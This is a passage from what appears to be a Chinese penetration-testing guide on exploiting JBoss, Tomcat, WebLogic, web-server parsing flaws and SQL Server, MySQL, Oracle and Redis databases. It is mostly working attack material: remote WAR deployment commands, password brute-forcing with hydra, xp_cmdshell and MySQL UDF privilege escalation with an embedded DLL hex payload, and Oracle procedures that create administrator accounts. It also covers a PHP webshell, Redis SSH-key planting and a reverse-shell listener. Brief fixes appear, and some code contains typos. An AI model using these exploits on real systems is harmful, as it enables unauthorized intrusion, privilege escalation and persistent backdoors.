java -jar jboss_exploit_fat.jar -i http://www.test.com/invoker/EJBInvokerServlet get jboss.system:type=ServerInfo OSVersion
- 远程部署war包
java -jar jboss_exploit_fat.jar -i http://www.test.com/invoker/EJBInvokerServlet invoke jboss.system:service=MainDeployer deploy http://x.x.x.x/test.war
Tomcat服务器漏洞
Tomcat弱口令攻击
-
后台管理地址:
http://x.x.x.x:8080/manager/html
-
Tomcat口令爆破
1 | import requests |
-
Tomcat后台上传木马
-
Deploy上传部署
-
部署成功
-
正常解析
Tomcat弱口令漏洞修复
修改/conf/tomcat-users.xml文件
将
Tomcat远程代码执行漏洞
conf/web.xml文件readonly设置为true,可以允许用PUT或DELETE方法上传或删除文件
影响版本:Apache Tomcat 5.x-9.x
利用方法
- /test.jsp%20(windows)
- /test.jsp%2E(windows)
- /test.jsp::$DATA(windows)
- /test.jsp/(Windows&Linux)
WebLogic服务器漏洞
WebLogic部署应用的3种方式
-
控制台部署
- 打开weblogic的控制台,
http://www.test.com:7001/console
- 登录
- 点击Deployments部署应用
- 点击Install
- 点击upload your file
- 选择war包上传
- 点击next
- 点击next
- 点击next
- 点击finish
- 部署完成
- 访问
- 最终URL:weblogic网站根路径加上/hello/hello.jsp
- 打开weblogic的控制台,
-
利用autodeploy自动部署
weblogic的domain域下有autodeploy目录,开发者模式下,会自动部署该目录
将war包放入autodeploy目录,删除文件即可删除部署应用
- 利用config.xml配置文件
domain域的config目录有config.xml文件,应用部署的配置在configuration-version和admin-server-name之间。
第12章 解析漏洞
一般解析漏洞配合文件上传功能
Apache解析漏洞
原因
在apache 1.x和apache 2.x,如果文件名存在多个扩展名,apache会从后向前解析,如果遇到mime.types没有定义的扩展名,就继续向前解析,直到识别出扩展名,如果所有都没有识别出,就以DefaultType默认值text/plain将该文件当做文本解析。
修复
修改配置文件,防止文件名有“.php.”的文件被执行
1 | <FilesMatch ".(php\.|php3\.|php5\.|php7\.)"> |
PHP CGI解析漏洞
CGI是一种规范,不是一种语言。
工作原理:Web服务器收到用户请求,并把请求交给CGI程序;CGI程序根据用户请求提交的参数进行相应处理,然后输出标准的HTML语句返回给Web服务器;Web服务器再返回给客户端。
CGI实现了动态网页功能。
php配置文件有一个cgi.fix_pathinfo,设置cgi.fix_pathinfo=1,则访问http://www.test.com/x.jpg/x.php
时,如果x.php不存在,php会递归向前解析,如果x.jpg存在,就会把x.jpg当做php文件解析。
IIS 7.x和Nginx中间件解析php时,默认开启cgi.fix_pathinfo。
IIS解析漏洞
IIS6.0解析漏洞
-
IIS6.0解析漏洞
处理有分号(;)的文件名时,会截断分号后面的部分 -
IIS 6.0目录解析漏洞
当目录名称是*.asp、*.asa、*.cet、*.cdx,会将目录里任何扩展名文件当做asp文件来执行。(因为配置文件默认配置了这四个文件扩展名由asp.dll来解析)
IIS解析漏洞修复
- 做好权限设置,防止用户自己创建目录
- 限制创建文件名中带有asp;的文件
- 升级至最新版
IIS 7.x解析漏洞
由于默认开启cgi.fix_pathinfo导致漏洞(修复方式关闭此功能)
Nginx解析漏洞
由于默认开启cgi.fix_pathinfo导致漏洞
修复方式
- 修改php配置文件,设置cgi.fix_pathinfo=0
- 修改nginx配置文件,当匹配到test.jpg/x.php的url,会返回错误代码
1 | if($fastcgi_script_name ~\..*\/.*php){ |
第13章 数据库漏洞
SQL Server数据库漏洞
条件:
- 以管理员权限启动SQL Server服务
- 获取了SQL Server sysadmin权限用户的密码
- 可以连接SQL Server
利用xp_cmdshell提权
-
弱口令爆破
使用hydra
hydra -L user.txt -P pass.txt -vV -ens www.test.com mssql
-
利用navicat连接
-
利用xp_cmdshell连接
- 开启xp_cmdshell存储过程
1
2
3
4
5EXEC sp_configure 'show advanced option',1 #sp_configure是修改系统配置的存储过程,后者修改配置高级选项
RECONFIGURE #提交上述操作,更新配置
EXEC sp_configure 'xp_cmdshell',1 #执行sp_configure存储过程修改高级选项参数xp_cmdshell,允许调用数据库之外的操作系统命令
RECONFIGURE-
执行系统命令查看当前用户权限
exec xp_cmdshell 'whoami'
-
关闭xp_cmdshell存储过程
1
2
3
4EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
EXEC sp_configure 'show advanced option',0
RECONFIGURE
利用MSF提权
MySQL数据库漏洞
利用条件
- 以管理员权限启动MySQL
- 获取了MySQL的root用户密码
- 可以连接MySQL
MySQL UDF提权步骤
-
hydra进行弱口令爆破
-
使用navicat登录
-
打开mysql数据库,新建查询:
use mysql;
-
将udf.dll代码的十六进制数声明给my_udf_a变量;
set @my_udf_a=concat('',0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
-
创建表my_udf_data,字段为data,类型为LONGBLOB;
create table my_udf_data(data LONGBLOB);
-
将表my_udf_data更新为@my_udf_a中的数据:
1 | insert into my_udf_data values(""); |
- 查看DLL文件的导出路径
不同版本mysql路径不一样,使用select @@version;
查看版本命令
- 5.0以下,导出路径随意
- 5.0和5.1版本,则需要导出至目标服务器的系统目录(如system32),否则下一步会看到出错
- 5.1以上,需要导出DLL文件到插件路径,可用命令查看:
show variables like '%plugin%';
-
将DLL文件导出,uudf.dll的名字随意起
select data from my_udf_data into DUMPFILE 'C:/Program Files/phpStudy/MySQL/lib/plugin/uudf.dll';
-
创建cmdshell,cmdshell名字不能随意更改
-
通过cmdshell提权,添加x用户,并将x添加到管理员用户组中
1 | select cmdshell('net user x x /add'); |
- 利用x登录
Oracle数据库漏洞
- 获取数据库版本及SID
使用nmap获取数据库版本及SID
1 | nmap -sV -p 1521 -v 192.168.91.108 |
-
弱口令爆破
利用metasploit进行弱口令爆破,也可以利用metasploit获取数据库版本及SID -
远程连接数据库并查看权限
- 利用sqlplus进行远程连接:
sqlplus scott/tiger@192.168.91.108:1521/ctfs
- select * from user_role_privs;
- 利用sqlplus进行远程连接:
-
提权并添加用户
- 创建包
1
2
3
4
5
6
7
8CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUCTION ODCIndexGetMetadata(oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/
Packege created.- 创建包主体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo, P3 VARCHAR2,P4 VARCHAR2, env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction:
BEGIN
EXECUTE IMMEDIATE 'GRANT DBATO SCOTI'
COMMIT;
RETURN(1);
END;
END;
/
Package body created.
DECLARE
INDEX NAME VARCHAR2(200);
INDEX SCHEMA VARCHAR2(200);
TYPE NAME VARCHAR2(200);
TYPE SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200) ;
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME :='A1';INDEX_SCHEMA:'SCOTT';
TYPE_NAME :=MYBADPACKAGE';TYPE_SCHEMA:='SCOTT';
VERSION :='9.2.0.1.0';GMFLAGS := 1;
v_Return :=SYS.DBMS_EXPORT_EXTENSION.GET_OMAIN_INDEX_METADATA (INDEX_NAME =>INDEX_NAME,INDEX_SCHEMA=>INDEX SCHEMA, TYPE_NAME=>TYPE_NAME,TYPE_SCHEMA=>TYPE_SCHEMA,VERSION =>VERSION, NEWBLOCK ->NEWBLOCK,GMFLAGS=>GMFLAGS);
END;
/
PL/SQL procedure successfully completed.-
提权
select * from user_role_privs;
-
创建存储过程,进行提权
1
2
3
4
5
6
7
8
9
10CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException{
Runtime.getRuntime().exec(command);
}
};- 添加用户并提升为管理员
1
2
3
4grant javasyspriv to SCOTT;
exec javacmdproc('cmd.exe /c net user x x /add');
exec javacmdproc('cmd.exe /c net localgroup administrations x /add');
Redis数据库未授权访问漏洞
环境搭建
1 | yum install redis |
利用redis未授权访问漏洞获取主机权限
原理
利用redis数据库持久化存储可以写入文件的功能,将自己的公钥写入远程linux的/root/.ssh文件夹的authorized_keys文件中,然后通过自己的私钥免登录到目标linux系统。
- 持久化存储
1 | config set dir /root/.ssh |
- linux公私钥免登录
利用条件
- redis以管理员权限启动
- 服务器开启了ssh公私钥登录
- redis存在未授权访问或者弱口令登录
利用步骤
- 生成公私钥对:
ssh-keygen
- 将公钥写入test.txt文件:
(echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n") > text.txt
- 通过redis客户端连接redis并将test.txt内容写入redis数据库crackit键值中:
cat test.txt|redis-cli -h 192.168.91.142 -x set crackit
- 连接数据库之后,保存数据库。
redis-cli -h 192.168.91.142;save
- 设置数据库默认路径为/root/.ssh:
config set dir /root/.ssh
- 设置数据库的缓存文件为authorized_keys:
config set dbfilename "authorized_keys"
- 连接数据库登录,
ssh -i /root/.ssh/id_rsa root@192.168.91.42
利用redis未授权访问漏洞写入WebShell
1 | set test "<?php @eval($_POST['1'];?)>" |
利用redis未授权访问漏洞反弹Shell
1 | nc -lvvp 8888 |
数据漏洞修复
- 将默认口令、弱口令、空口令修改为复杂口令
- 将数据库配置为最小化权限
- 删除或禁用不必要的功能和组件
- 为数据库系统及时打补丁,升级至最新版本